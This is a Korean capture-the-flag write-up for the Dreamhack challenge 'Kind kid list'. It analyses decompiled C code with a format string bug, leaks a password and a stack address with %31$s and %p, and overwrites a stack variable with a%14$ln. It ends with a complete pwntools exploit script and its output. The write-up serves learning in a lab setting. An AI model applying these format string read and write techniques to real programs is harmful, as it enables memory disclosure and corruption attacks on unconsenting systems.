[dreamhack] Kind kid list writeup

1. 문제

thumbnail
Kind kid list

일기를 거짓으로 쓴 것을 산타할아버지가 알게되었어요...
그래서 나쁜 아이 목록에 제 이름을 쓰셨어요...
제 이름을 지워주실 수 있나요? 😈
취약점을 찾아 flag를 획득하세요.
플래그 형식은 DH{…} 입니다.

https://dreamhack.io/wargame/challenges/730

2. 풀이


int intro()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 99; ++i )
    puts(&byte_2072);
  puts("Wyv3rn : Hey, Hacker.");
  puts("Wyv3rn : Santa recognized that I was cheating on my diary before.");
  puts("Wyv3rn : Then, he list up my name on naughty kid list.");
  puts("Wyv3rn : Can you delete my name from naughty kid list and add to the kind kid list?\n");
  return puts("Wyv3rn : I will give you the flag, if you succeed\n");
}

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  char *v4; // rdi
  __int64 v5; // rdx
  __int64 v6; // rcx
  __int64 v7; // r8
  __int64 v8; // r9
  const char *v9; // rsi
  __int64 v10; // rdx
  __int64 v11; // rcx
  __int64 v12; // r8
  __int64 v13; // r9
  char pass_input[8]; // [rsp+0h] [rbp-E0h] BYREF
  __int64 v15; // [rsp+8h] [rbp-D8h]
  char new_name[8]; // [rsp+10h] [rbp-D0h] BYREF
  __int64 v17; // [rsp+18h] [rbp-C8h]
  char bad_kid[8]; // [rsp+20h] [rbp-C0h] BYREF
  __int64 v19; // [rsp+28h] [rbp-B8h]
  char kind_kid[132]; // [rsp+30h] [rbp-B0h] BYREF
  char src[8]; // [rsp+B4h] [rbp-2Ch] BYREF
  int select; // [rsp+BCh] [rbp-24h] BYREF
  FILE *stream; // [rsp+C0h] [rbp-20h]
  void *ptr; // [rsp+C8h] [rbp-18h]
  int v25; // [rsp+D4h] [rbp-Ch]
  int v26; // [rsp+D8h] [rbp-8h]
  int i; // [rsp+DCh] [rbp-4h]

  init(argc, argv, envp);
  intro();
  i = 0;
  v25 = 0;
  select = 0;
  v26 = 0;
  *(_QWORD *)src = 'nr3vyw';
  memset(kind_kid, 0, 0x80uLL);
  *(_QWORD *)bad_kid = 0LL;
  v19 = 0LL;
  *(_QWORD *)new_name = 0LL;
  v17 = 0LL;
  *(_QWORD *)pass_input = 0LL;
  v15 = 0LL;
  ptr = malloc(8uLL);
  stream = fopen("/dev/urandom", "r");
  fread(ptr, 7uLL, 1uLL, stream);
  v3 = src;
  v4 = bad_kid;
  strcpy(bad_kid, src);
  while ( 1 )
  {
    menu(v4, v3, v5, v6, v7, v8);
    fflush(stdout);
    v3 = (char *)&select;
    v4 = "%d";
    __isoc99_scanf("%d", &select);
    if ( select == 3 )
      break;
    if ( select <= 3 )
    {
      if ( select == 1 )
      {
        puts("\n-Kind kid list-");
        for ( i = 0; i <= 5; ++i )
          puts(&kind_kid[16 * i]);
        puts("\n-Naughty kid list-");
        for ( i = 0; i <= 7; ++i )
          putchar(bad_kid[i]);
        v4 = (char *)&byte_2072;
        puts(&byte_2072);
      }
      else if ( select == 2 )
      {
        printf("\nPassword : ");
        fflush(stdout);
        __isoc99_scanf("%8s", pass_input);
        v3 = pass_input;
        if ( !strncmp((const char *)ptr, pass_input, 7uLL) )
        {
          printf("Name : ");
          fflush(stdout);
          v3 = new_name;
          __isoc99_scanf("%8s", new_name);
          if ( v26 > 7 )
          {
            v4 = "Kind list full";
            puts("Kind list full");
          }
          else
          {
            v3 = new_name;
            v4 = &kind_kid[16 * v26];
            strcpy(v4, new_name);
            ++v26;
          }
        }
        else
        {
          printf(pass_input);
          v4 = " is Wrong password!";
          puts(" is Wrong password!");
        }
      }
    }
  }
  v25 = 0;
  v9 = "wyv3rn";
  if ( !strcmp(kind_kid, "wyv3rn") )
  {
    for ( i = 0; i <= 5; ++i )
    {
      v9 = &src[i];
      if ( !strcmp(&bad_kid[i], v9) )
      {
        puts("Wyv3rn : My name is still remain on the naughty kid list!");
        exit(0);
      }
    }
    puts("\nWyv3rn : You did it!");
    puts("Wyv3rn : Here is flag!");
    flag("Wyv3rn : Here is flag!", v9, v10, v11, v12, v13);
    exit(0);
  }
  puts("Wyv3rn : My name is not on the kind kid list!");
  exit(0);
}

간단하게 1번은 Kind kid list와 Naughty kid list를 확인하고, 2번은 Password를 입력한 후 kind list에 이름을 넣을 수 있다. 그리고 3번을 통해서 wyv3rn에게 가서 flag를 달라고 할 수 있다.

결국 지금 Naughty kid list에 들어있는 wyv3rn 이름을 지우고 Kind kid list에 넣으면 된다.


우선 아래 코드에서 FSB 취약점이 터진다.

else
        {
          printf(pass_input);
          v4 = " is Wrong password!";
          puts(" is Wrong password!");
        }

pass_inputprintf 함수의 인자로 바로 입력되기 때문에 FSB 취약점을 이용해서 실제 Password를 확인할 수 있다.

pass_input 기준으로 31번째 위치에 Password가 위치한 것을 볼 수 있다.

pwndbg> x/40gx 0x7ffc7cb19450
0x7ffc7cb19450:	0x003bf716cd007025	0x0000000000000000
0x7ffc7cb19460:	0x00006e7233767977	0x0000000000000000
0x7ffc7cb19470:	0x00006e7233767977	0x0000000000000000
0x7ffc7cb19480:	0x00006e7233767977	0x0000000000000000
0x7ffc7cb19490:	0x0000000000000000	0x0000000000000000
0x7ffc7cb194a0:	0x0000000000000000	0x0000000000000000
0x7ffc7cb194b0:	0x0000000000000000	0x0000000000000000
0x7ffc7cb194c0:	0x0000000000000000	0x0000000000000000
0x7ffc7cb194d0:	0x0000000000000000	0x0000000000000000
0x7ffc7cb194e0:	0x0000000000000000	0x0000000000000000
0x7ffc7cb194f0:	0x0000000000000000	0x0000000000000000
0x7ffc7cb19500:	0x3376797700000002	0x0000000200006e72
0x7ffc7cb19510:	0x000060abe8d6d2c0	0x000060abe8d6d2a0
0x7ffc7cb19520:	0x0000000000001000	0x0000000000000001
0x7ffc7cb19530:	0x0000000000000001	0x000072bc46429d90
0x7ffc7cb19540:	0x0000000000000000	0x000060abd8d6c3ce
0x7ffc7cb19550:	0x000000017cb19630	0x00007ffc7cb19648
0x7ffc7cb19560:	0x0000000000000000	0xaefe0358fe465f38
0x7ffc7cb19570:	0x00007ffc7cb19648	0x000060abd8d6c3ce
0x7ffc7cb19580:	0x000060abd8d6edd8	0x000072bc466e4040
pwndbg> x/10gx 0x000060abe8d6d2a0
0x60abe8d6d2a0:	0x003bf716cdf27853	0x0000000000000000
0x60abe8d6d2b0:	0x0000000000000000	0x00000000000001e1

문제는 이 Password가 존재하는 주소값만 들어있다는 것이고, 나는 %p 또는 %x를 통해서만 FSB를 풀어왔던 사람이라 이 주소에 들어있는 문자열을 어떻게 출력할지는 몰랐는데 그냥 %s를 쓰면 출력이되는 거였다…

즉, %31$p를 넣으면 스택의 31번째 인자를 그대로 출력하는 것이고, %31$s를 하면 그 31번째 인자를 주소값으로 해서 해당 주소에 있는 문자열을 출력하게 된다.

이를 이용하면 위처럼 Password를 leak이 가능하다.

그러면 이제 Kind kid list에 wyv3rn의 이름을 넣는 것 자체는 가능한데, 문제는 Naughty kid list에 들어가있는 이름을 지워야 한다.

여기서 다시한번 FSB를 이용할 수 있다. 먼저 bad_kid의 주소를 구해서 new_name을 입력할 때 넣는다. 그러면 new_namebad_kid의 주소가 들어가게 된다.

bad_kid의 주소를 구하는 방법은 여러가지인데 나는 그냥 %p를 입력했더니 스택 주소 중 하나가 바로 나와서 그걸 기준으로 찾았다.

이때 new_name은 스택 인자 기준 8번째 인자이기 때문에 a%8ln을 입력하게 되면 new_name에 들어가있는 bad_kid 주소가 가리키는 위치에 1을 입력할 수 있다. (a 하나만 입력되고 이것의 개수를 long 형식으로 넣는 것이기 때문)

new_name에 들어갔던 bad_kid 주소는 kind_kid[1] 위치에도 들어가기 때문에 a%14ln을 입력해도 된다.

그러면 bad_kid에 적힌 이름이 없어지기 때문에 flag를 얻을 수 있다.

from pwn import *

p = process("./kind_kid_list")
#p = remote("host8.dreamhack.games", 12110)

# 1. get password
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b": ", b"%31$s")
password = p.recvuntil(b"is")[:-3]

# 2. enter password and leak stack addr
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"Password : ", password)
p.sendlineafter(b"Name : ", b"wyv3rn")

p.sendlineafter(b">> ", b"2")
p.sendlineafter(b": ", b"%p")
stack_addr = int(p.recvuntil(b"is")[:-3], 16) + 0x20    # this is bad_kid addr
print(hex(stack_addr))


# 3. put bad_kid addr into new_name & kind_kid[1]
# this can be used as fsb argument
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"Password : ", password)
p.sendlineafter(b"Name : ", p64(stack_addr))

# 4. new_name is 8th argument of fsb and kind_kid[1] is 14th.
# so overwrite the address that new_name or kind_kid[1] indicates (bad_kid) by the number of chars printed
# in this case, it is "1" because "a%8$ln" ("a%14$ln").
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"Password : ", b"a%14$ln")


p.sendlineafter(b">> ", b"3")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/Kind_kid_list/deploy$ python3 e_kind_kid_list.py 
[+] Starting local process './kind_kid_list': pid 3246845
0x7ffd7b4f3fc0
[*] Switching to interactive mode
[*] Process './kind_kid_list' stopped with exit code 0 (pid 3246845)

Wyv3rn : You did it!
Wyv3rn : Here is flag!
DH{sample_flag}

[*] Got EOF while reading in interactive

진짜 오랜만에 본 FSB 문제였고, $s를 쓰거나 특정 주소를 스택에 만들어서 덮어쓰는 방식이 아닌 새로운 방식이라 나에겐 너무 어려웠다…

아무튼 해결~